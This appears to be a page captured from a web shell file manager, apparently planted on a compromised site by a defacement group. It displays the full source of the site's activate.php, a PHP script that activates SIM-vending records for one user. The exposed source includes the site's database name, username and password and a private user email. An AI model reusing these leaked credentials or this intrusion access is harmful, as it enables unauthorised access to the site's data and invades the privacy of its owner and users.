whoami7 - Manager
:
/
home
/
simspala
/
yoursimzone.com
/
Upload File:
files >> /home/simspala/yoursimzone.com/activate.php
<?php declare(strict_types=1); date_default_timezone_set("Africa/Lagos"); set_time_limit(0); // ======================= // DATABASE CONFIG // ======================= $dsn = 'mysql:host=localhost;dbname=simspala_yoursim;charset=utf8mb4'; $dbUser = 'simspala_yoursim'; $dbPass = 'simspala_yoursim'; // ======================= // LOG FILE // ======================= $logFile = __DIR__ . '/auto_activate_sims.log'; function writeLog(string $message): void { global $logFile; file_put_contents( $logFile, "[" . date("Y-m-d H:i:s") . "] {$message}\n", FILE_APPEND ); } writeLog("================ START AUTO ACTIVATE ================"); try { // ======================= // CONNECT DATABASE // ======================= $pdo = new PDO($dsn, $dbUser, $dbPass, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, ]); // ======================= // TARGET USER // ======================= $email = "mbiee4241@gmail.com"; $stmt = $pdo->prepare(" SELECT id FROM users WHERE email = ? LIMIT 1 "); $stmt->execute([$email]); $user = $stmt->fetch(); if (!$user) { writeLog("ERROR: User not found: {$email}"); exit; } $userId = (int) $user['id']; writeLog("USER FOUND: {$email} | USER ID: {$userId}"); // ======================= // ACTIVATE ONLY: // WEEKLY + MONTHLY // ======================= $stmt = $pdo->prepare(" UPDATE servers SET vend_data = 1, server_on = 1, attempts = 0, total_data_sold_here = 0, sold_today = NULL, last_sold_date = NULL, failure_count = 0, monthly_vends = 0, monthly_vends_month = NULL WHERE user_id = ? AND `group` IN ('WEEKLY', 'MONTHLY') "); $stmt->execute([$userId]); $affected = $stmt->rowCount(); writeLog( "SUCCESS: {$affected} WEEKLY/MONTHLY SIM(s) activated/reset for {$email}" ); echo json_encode([ 'status' => true, 'message' => 'Sims activated to share', 'email' => $email, 'updated' => $affected, ], JSON_PRETTY_PRINT); } catch (Throwable $e) { writeLog( "ERROR: " . $e->getMessage() . " | FILE: " . $e->getFile() . " | LINE: " . $e->getLine() ); echo json_encode([ 'status' => false, 'message' => $e->getMessage(), ], JSON_PRETTY_PRINT); } writeLog("================ END AUTO ACTIVATE ==================");
Copyright ©2021 || Defacer Indonesia